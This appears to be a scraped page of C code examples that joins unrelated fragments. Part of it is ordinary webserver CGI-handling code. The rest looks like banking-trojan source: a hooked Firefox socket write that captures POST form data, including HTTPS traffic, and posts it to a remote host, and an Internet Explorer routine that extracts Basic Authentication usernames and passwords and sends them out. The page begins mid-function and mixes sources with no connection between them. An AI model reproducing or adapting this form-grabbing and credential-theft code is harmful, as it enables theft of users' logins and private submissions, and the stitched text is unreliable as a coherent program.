			break;

		if ((g_ClientId.Plugins & PG_BIT_FORMS) || 
#ifdef _ALWAYS_HTTPS
			(Ps->Flags & PR_SOCKET_FLAG_SSL)
#else
			(FALSE)
#endif
			)
		{
			// Collecting and saving POST forms
			if (Headers->ContentSize) //&& ((Headers->ContentSize + Headers->HeadersSize) <= amount))		
			{
				PCHAR ContType = HttpFindHeaderA(Headers->Binary, szContentType, NULL);
				// Checking for Online Certificate Status Protocol (OCSP) request, and ignoring it if found
				if (!StrStrI(ContType, szOCSP))
				{
					// Creating a Context to store form data
					if (Ctx = FfCheckAddHandle(Ps->fd, Headers, CF_FORM, (Ps->Flags & PR_SOCKET_FLAG_SSL)))
						Ctx->Length = Headers->ContentSize;
				}
			}
		}	// if (g_ClientId.Plugins & PG_BIT_FORMS)

		// Checking out the URL
		if (Ctx || (Ctx = FfCheckAddHandle(Ps->fd, Headers, 0, (Ps->Flags & PR_SOCKET_FLAG_SSL))))
		{

			ASSERT((Ctx->Flags & ~(CF_FORM | CF_REPLACE)) == 0);

			if (Ctx->Status == REQUEST_BLOCKED)
			{
				bRet = -1;
				bSize = -1;
				(Ps->Api->SetError)(PR_CONNECT_RESET_ERROR, 0, Ps->Context);
				break;
			}

			if (Ctx->Flags & CF_REPLACE)
			{
#ifdef	_PATCH_REPLACE_HEADERS
				// Checking if this is a GET request
				if (*(PULONG)Headers->Binary == uGET)
					// Patching request URI to make an invalid HTTP request.
					// All request headers and data will be relpaced. We don't need to receive any data there.
					buf[5] = '%';
#endif
			}	// if (Ctx->Flags & CF_REPLACE)
			else
			{
				// Addinig "Accept-Encoding: identity" header
				if (nBuffer = HttpSetHeaderA(Headers->Binary, szAcceptEncoding, szIdentity, NULL))
				{
					hFree(Headers->Binary);
					Headers->Binary = nBuffer;
				}	// if (nBuffer = HttpSetHeaderA(Headers->Binary, szAcceptEncoding, szIdentity))
			}	// else // if (Ctx->Flags & CF_REPLACE)
		}	// if (Ctx || (Ctx = FfCheckAddHandle(fd, Headers, 0, (Ps->Flags & PR_SOCKET_FLAG_SSL))))

		// Checking if headers were modified
		if ((bSize = lstrlenA(Headers->Binary)) != Headers->HeadersSize)
		{
			PCHAR	SendBuffer;
			if (SendBuffer = hAlloc(bSize + amount - Headers->HeadersSize))
			{
				memcpy(SendBuffer, Headers->Binary, bSize);
				memcpy(SendBuffer + bSize, (buf + Headers->HeadersSize), (amount - Headers->HeadersSize));
				bSize += (amount - Headers->HeadersSize);

				if ((bRet = (Ps->Api->Write)(Ps->fd, SendBuffer, bSize, NULL)) > 0)
					bRet = amount;

				hFree(SendBuffer);
			}	// if (SendBuffer = hAlloc(bSize + amount - Headers->HeadersSize))
		}
		else
			bSize = 0;

	} while(FALSE);

	if (bSize == 0)
		// Nothing was sent, doning it now
		bRet = (Ps->Api->Write)(Ps->fd, buf, amount, Ps->Context);

	if ((Ctx) && (Ctx->Length))
	{
		// Checking if data was successfully sent and there was any form data
		if (bRet > 0 || (bRet == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR))
		{

			HRESULT hResult;
			LONG Sent = amount;
			PCHAR FormData = buf;

			if (Headers)
			{
				Sent -= Headers->HeadersSize;
				FormData += Headers->HeadersSize;

				// Saving request headers to the HTTP context, we need them later while posting a form
				Ctx->pHeaders = Headers->Binary;
				Headers->Binary = NULL;
			}

			Sent = min(Sent, Ctx->Length);

			// Saving form data into the data stream
			hResult = CoInvoke(Ctx->pStream, Write, FormData, Sent, NULL);
			ASSERT(hResult == S_OK);

			// Checking if all form data was successfully transmited
			if ((Ctx->Length -= Sent) == 0)
			{
				// Sending form data to the active host
				Sent = StreamGetLength(Ctx->pStream);
				if (FormData = (PCHAR)hAlloc(Sent))
				{
					StreamGotoBegin(Ctx->pStream);
					hResult = CoInvoke(Ctx->pStream, Read, FormData, Sent, (PULONG)&Sent);
					ASSERT(hResult == S_OK);

					PostForms(Ctx->Url, Ctx->pHeaders, NULL, FormData, Sent, SEND_ID_FORM, TRUE);
					hFree(FormData);
				}
				StreamClear(Ctx->pStream);

				// Form was sent
				if (Ctx->Flags & CF_FORM)
					ReleaseHandle(Ctx);
			}
			ASSERT(Ctx->Length >= 0);
		}	// if (bRet > 0 || (bRet == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR))
		else
		{
			// Form was not sent, an error occured
			if (Ctx->Flags & CF_FORM)
				ReleaseHandle(Ctx);
		}
	}	// if ((Ctx) && (Ctx->Length))
	
	if (Headers)
		HttpReleaseHeaders(Headers);
	else
	{
		// Releasing Context (only if it was just found)
		if (Ctx)
			ReleaseHandle(Ctx);
	}
	
	return(bRet);
}
Пример #27
0
/*
 *	Process a form request. Returns 1 always to indicate it handled the URL
 */
int websCgiHandler(webs_t wp, char_t *urlPrefix, char_t *webDir, int arg, 
		char_t *url, char_t *path, char_t* query)
{
	cgiRec		*cgip;
	sym_t		*s;
	char_t		cgiBuf[FNAMESIZE], *stdIn, *stdOut, cwd[FNAMESIZE];
	char_t		*cp, *cgiName, *cgiPath, **argp, **envp, **ep;
	int			n, envpsize, argpsize, pHandle, cid;
	a_assert(websValid(wp));
	a_assert(url && *url);
	a_assert(path && *path == '/');
	websStats.cgiHits++;
/*
 *	Extract the form name and then build the full path name.  The form
 *	name will follow the first '/' in path.
 */
	gstrncpy(cgiBuf, path, TSZ(cgiBuf));
	if ((cgiName = gstrchr(&cgiBuf[1], '/')) == NULL) {
		websError(wp, 200, T("Missing CGI name"));
		return 1;
	}
	cgiName++;
	if ((cp = gstrchr(cgiName, '/')) != NULL) {
		*cp = '\0';
	}
	fmtAlloc(&cgiPath, FNAMESIZE, T("%s/%s/%s"), websGetDefaultDir(),
		CGI_BIN, cgiName);
#ifndef VXWORKS
/*
 *	See if the file exists and is executable.  If not error out.
 *	Don't do this step for VxWorks, since the module may already
 *	be part of the OS image, rather than in the file system.
 */
	{
		gstat_t		sbuf;
		if (gstat(cgiPath, &sbuf) != 0 || (sbuf.st_mode & S_IFREG) == 0) {
			websError(wp, 200, T("CGI process file does not exist"));
			bfree(B_L, cgiPath);
			return 1;
		}
#if (defined (WIN) || defined (CE))
		if (gstrstr(cgiPath, T(".exe")) == NULL &&
			gstrstr(cgiPath, T(".bat")) == NULL) {
#elif (defined (NW))
			if (gstrstr(cgiPath, T(".nlm")) == NULL) {
#else
		if (gaccess(cgiPath, X_OK) != 0) {
#endif /* WIN || CE */
			websError(wp, 200, T("CGI process file is not executable"));
			bfree(B_L, cgiPath);
			return 1;
		}
	}
#endif /* ! VXWORKS */

         
/*
 *	Get the CWD for resetting after launching the child process CGI
 */
	ggetcwd(cwd, FNAMESIZE);
/*
 *	Retrieve the directory of the child process CGI
 */
	if ((cp = gstrrchr(cgiPath, '/')) != NULL) {
		*cp = '\0';
		gchdir(cgiPath);
		*cp = '/';
	}

/*
 *	Build command line arguments.  Only used if there is no non-encoded
 *	= character.  This is indicative of a ISINDEX query.  POST separators
 *	are & and others are +.  argp will point to a balloc'd array of 
 *	pointers.  Each pointer will point to substring within the
 *	query string.  This array of string pointers is how the spawn or 
 *	exec routines expect command line arguments to be passed.  Since 
 *	we don't know ahead of time how many individual items there are in
 *	the query string, the for loop includes logic to grow the array 
 *	size via brealloc.
 */

	argpsize = 10;
	argp = balloc(B_L, argpsize * sizeof(char_t *));
	*argp = cgiPath;

	n = 1;
	if (gstrchr(query, '=') == NULL) {

		websDecodeUrl(query, query, gstrlen(query));
		for (cp = gstrtok(query, T(" ")); cp != NULL; ) {
			*(argp+n) = cp;
			n++;

			if (n >= argpsize) {
				argpsize *= 2;
				argp = brealloc(B_L, argp, argpsize * sizeof(char_t *));

			}
			cp = gstrtok(NULL, T(" "));

		}
	}
	*(argp+n) = NULL;

/*
 *	Add all CGI variables to the environment strings to be passed
 *	to the spawned CGI process.  This includes a few we don't 
 *	already have in the symbol table, plus all those that are in
 *	the cgiVars symbol table.  envp will point to a balloc'd array of 
 *	pointers.  Each pointer will point to a balloc'd string containing
 *	the keyword value pair in the form keyword=value.  Since we don't
 *	know ahead of time how many environment strings there will be the
 *	for loop includes logic to grow the array size via brealloc.
 */

	envpsize = WEBS_SYM_INIT;
	envp = balloc(B_L, envpsize * sizeof(char_t *));
	n = 0;
	fmtAlloc(envp+n, FNAMESIZE, T("%s=%s"),T("PATH_TRANSLATED"), cgiPath);
	n++;
	fmtAlloc(envp+n, FNAMESIZE, T("%s=%s/%s"),T("SCRIPT_NAME"),
		CGI_BIN, cgiName);
	n++;
	fmtAlloc(envp+n, FNAMESIZE, T("%s=%s"),T("REMOTE_USER"), wp->userName);
	n++;
	fmtAlloc(envp+n, FNAMESIZE, T("%s=%s"),T("AUTH_TYPE"), wp->authType);

	n++;
	for (s = symFirst(wp->cgiVars); s != NULL; s = symNext(wp->cgiVars)) {

		if (s->content.valid && s->content.type == string &&
			gstrcmp(s->name.value.string, T("REMOTE_HOST")) != 0 &&
			gstrcmp(s->name.value.string, T("HTTP_AUTHORIZATION")) != 0) {
			fmtAlloc(envp+n, FNAMESIZE, T("%s=%s"), s->name.value.string,
				s->content.value.string);

			n++;
			if (n >= envpsize) {

				envpsize *= 2;
				envp = brealloc(B_L, envp, envpsize * sizeof(char_t *));
			}
		}
	}


	if (wp->flags & WEBS_CGI_UPLOAD){
		// set filename into enviornment variables 
		fmtAlloc(envp+n, FNAMESIZE, T("%s=%s"), T("UPLOAD_FILENAME"), wp->cgiStdin);
		n++;
	}


	*(envp+n) = NULL;
/*
 *	Create temporary file name(s) for the child's stdin and stdout.
 *	For POST data the stdin temp file (and name) should already exist.
 */

	if (wp->cgiStdin == NULL) {
		wp->cgiStdin = websGetCgiCommName(wp);
	} 
	stdIn = wp->cgiStdin;
	stdOut = websGetCgiCommName(wp);

/*
 *	Now launch the process.  If not successful, do the cleanup of resources.
 *	If successful, the cleanup will be done after the process completes.
 */
	if ((pHandle = websLaunchCgiProc(cgiPath, argp, envp, stdIn, stdOut)) 
		== -1) {
		websError(wp, 200, T("failed to spawn CGI task"));
		for (ep = envp; *ep != NULL; ep++) {
			bfreeSafe(B_L, *ep);
		}
		bfreeSafe(B_L, cgiPath);
		bfreeSafe(B_L, argp);
		bfreeSafe(B_L, envp);
		bfreeSafe(B_L, stdOut);
	} else {
/*
 *		If the spawn was successful, put this wp on a queue to be
 *		checked for completion.
 */
		cid = hAllocEntry((void***) &cgiList, &cgiMax, sizeof(cgiRec));
		cgip = cgiList[cid];
		cgip->handle = pHandle;
		cgip->stdIn = stdIn;
		cgip->stdOut = stdOut;
		cgip->cgiPath = cgiPath;
		cgip->argp = argp;
		cgip->envp = envp;
		cgip->wp = wp;
		cgip->fplacemark = 0;
		websTimeoutCancel(wp);
	}
/*
 *	Restore the current working directory after spawning child CGI
 */
 	gchdir(cwd);
	return 1;
}



/******************************************************************************/
/*
 *	Any entry in the cgiList need to be checked to see if it has
 */
void websCgiGatherOutput (cgiRec *cgip)
{
	gstat_t	sbuf;
	char_t	cgiBuf[FNAMESIZE];
	if ((gstat(cgip->stdOut, &sbuf) == 0) && 
		(sbuf.st_size > cgip->fplacemark)) {
		int fdout;
		fdout = gopen(cgip->stdOut, O_RDONLY | O_BINARY, 0444 );
/*
 *		Check to see if any data is available in the
 *		output file and send its contents to the socket.
 */
		if (fdout >= 0) {
			webs_t	wp = cgip->wp;
			int		nRead;
/*
 *			Write the HTTP header on our first pass
 */
			if (cgip->fplacemark == 0) {
				websWrite(wp, T("HTTP/1.0 200 OK\r\n"));
			}
			glseek(fdout, cgip->fplacemark, SEEK_SET);
			while ((nRead = gread(fdout, cgiBuf, FNAMESIZE)) > 0) {
				websWriteBlock(wp, cgiBuf, nRead);
				cgip->fplacemark += nRead;
			}
			gclose(fdout);
		}
	}
}


/******************************************************************************/
/*
 *	Any entry in the cgiList need to be checked to see if it has
 *	completed, and if so, process its output and clean up.
 */
void websCgiCleanup()
{
	cgiRec	*cgip;
	webs_t	wp;
	char_t	**ep;
	int		cid, nTries;
	for (cid = 0; cid < cgiMax; cid++) {
		if ((cgip = cgiList[cid]) != NULL) {
			int exit_status;
			wp = cgip->wp;
			websCgiGatherOutput (cgip);
			if ( websCheckCgiProc(cgip->handle, &exit_status) == 0) {
/*
 *				We get here if the CGI process has terminated.  Clean up.
 */
				nTries = 0;
/*				
 *				Make sure we didn't miss something during a task switch.
 *				Maximum wait is 100 times 10 msecs (1 second).
 */
				while ((cgip->fplacemark == 0) && (nTries < 100)) {
					websCgiGatherOutput(cgip);
/*					
 *					There are some cases when we detect app exit 
 *					before the file is ready. 
 */
					if (cgip->fplacemark == 0) {
#ifdef WIN
						Sleep(10);
#endif /* WIN*/
					}
					nTries++;
				}
				if (cgip->fplacemark == 0) {
					websError(wp, 200, T("CGI generated no output"));
				} else {
					websDone(wp, 200);
				}
/*
 *				Remove the temporary re-direction files
 */
				gunlink(cgip->stdIn);
				gunlink(cgip->stdOut);
/*
 *				Free all the memory buffers pointed to by cgip.
 *				The stdin file name (wp->cgiStdin) gets freed as
 *				part of websFree().
 */
				cgiMax = hFree((void***) &cgiList, cid);
				for (ep = cgip->envp; ep != NULL && *ep != NULL; ep++) {
					bfreeSafe(B_L, *ep);
				}
				bfreeSafe(B_L, cgip->cgiPath);
				bfreeSafe(B_L, cgip->argp);
				bfreeSafe(B_L, cgip->envp);
				bfreeSafe(B_L, cgip->stdOut);
				bfreeSafe(B_L, cgip);
#if 0 //DAVIDM - we do not want this, netflash does it for us
				if(wp->has_firmware_upload_clean){
					if (WIFEXITED(exit_status) && WEXITSTATUS(exit_status) != 0)
						return;
					sync();
					doSystem("sleep 3 && reboot &");
				}
#endif
			}
		}
	}
}
Пример #28
0
//
//	Reads the speceifed reaquest's page synchronuosly.
//	Stores the page content into Ctx->pStream stream.
//
VOID ReadPageSync(
	PHANDLE_CONTEXT Ctx, 
	HINTERNET		hRequest
	)
{
	ULONG	bRead = 0;
	LPVOID	pMem = NULL;
	WINERROR Status;
	ULONG	Timeout = INFINITE;

	// There's a bug within WININET on XP:
	//	sometimes call to InternetReadFile() doesn't return INTERNET_STATUS_REQUEST_COMPLETE.
	//	To solve this we do not wait infinite on page load but use IE_WAIT_REQUEST_TIMEOUT instead.
	if (LOBYTE(LOWORD(g_SystemVersion)) <= 5)
		Timeout = IE_WAIT_REQUEST_TIMEOUT;

	if (pMem = hAlloc(MAX_CONTENT_BUFFER_SIZE))
	{
		do
		{
			if (!InternetReadFile(hRequest, pMem, MAX_CONTENT_BUFFER_SIZE, &bRead))
			{
				if (GetLastError() != ERROR_IO_PENDING)
				{
					Ctx->Status = ERROR_WHILE_LOADING;
					break;
				}

				Status = WaitForSingleObject(Ctx->AsyncEvent, Timeout);
				
				if (Status == WAIT_TIMEOUT)
				{
					ASSERT(LOBYTE(LOWORD(g_SystemVersion)) <= 5);
					break;
				}

				if (Status != WAIT_OBJECT_0 || Ctx->Status == ERROR_WHILE_LOADING)
				{			
					Ctx->Status = ERROR_WHILE_LOADING;
					break;
				}
			}

			if (bRead)
				CoInvoke(Ctx->pStream, Write, pMem, bRead, NULL);
			else
			{
				// InternetReadFile successed but number of bytes read is 0.
				// This means no more data avaliable to read.
				Ctx->Status = LOADING_COMPLETE;
				break;
			}

		} while (TRUE);

		hFree(pMem);
	}	// if (pMem = hAlloc(MAX_CONTENT_BUFFER_SIZE))
	else
		Ctx->Status = ERROR_WHILE_LOADING;

}
Пример #29
0
//
//	Checks if the specified handle associated with URL that has any submited action within the config.
//	Tries to extract and send basic authentication data if any.
//
static ULONG IeCheckURL(
	HANDLE	hRequest, 
	LPSTR	Referer,
	PVOID*	ptCtx
	)
{
	ULONG	Status = URL_STATUS_UNDEF;
	ULONG	bSize = 0;
	LPTSTR	Url, pUser = NULL, pPass = NULL, FmtStr = NULL;

	InternetQueryOption(hRequest, INTERNET_OPTION_URL, NULL, &bSize);

	if ((bSize) && (Url = hAlloc(bSize + sizeof(_TCHAR))))
	{
		if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, Url, &bSize))
		{
			Url[bSize] = 0;
			Status = ConfigCheckInitUrl(Url, Referer, ((StrStrI(Url, szHttps) == Url) ? TRUE : FALSE), ptCtx);

			// Queryin the Basic Authentication data
			bSize = MAX_USER_LEN * sizeof(_TCHAR);

			do	// not a loop
			{
				if (!(pUser = (LPTSTR)hAlloc(bSize)))
					break;

				if (!(pPass = (LPTSTR)hAlloc(bSize)))
					break;

				if (!InternetQueryOption(hRequest, INTERNET_OPTION_USERNAME, pUser, &bSize) || pUser[0] == 0)
					break;

				bSize = MAX_USER_LEN * sizeof(_TCHAR);
				if (!InternetQueryOption(hRequest, INTERNET_OPTION_PASSWORD, pPass, &bSize) || pPass[0] == 0)
					break;

				FmtStr = hAlloc((cstrlen(szDateTimeFmt) + cstrlen(szBasicFmt) + lstrlen(Url) + MAX_USER_LEN + MAX_USER_LEN + 1) * sizeof(_TCHAR));

				if (FmtStr)
				{
					bSize = PsSupPrintDateTime(FmtStr, NULL, TRUE);
					bSize += wsprintf(FmtStr + bSize, szBasicFmt, Url, pUser, pPass);
#ifdef _SEND_FORMS
					ConfSendData(FmtStr, bSize, SEND_ID_AUTH, NULL, FALSE);
#else
					PipeSendCommand(CMD_STORE_AUTH, FmtStr, bSize, NULL);
#endif
					hFree(FmtStr);
				}

			} while(FALSE);

			if (pUser)
				hFree(pUser);
			if (pPass)
				hFree(pPass);

		}	// if (InternetQueryOption(hRequest, INTERNET_OPTION_URL, Url, &bSize))
		hFree(Url);
	}	// if ((bSize) && (Url = hAlloc(bSize + sizeof(_TCHAR))))

	return(Status);
}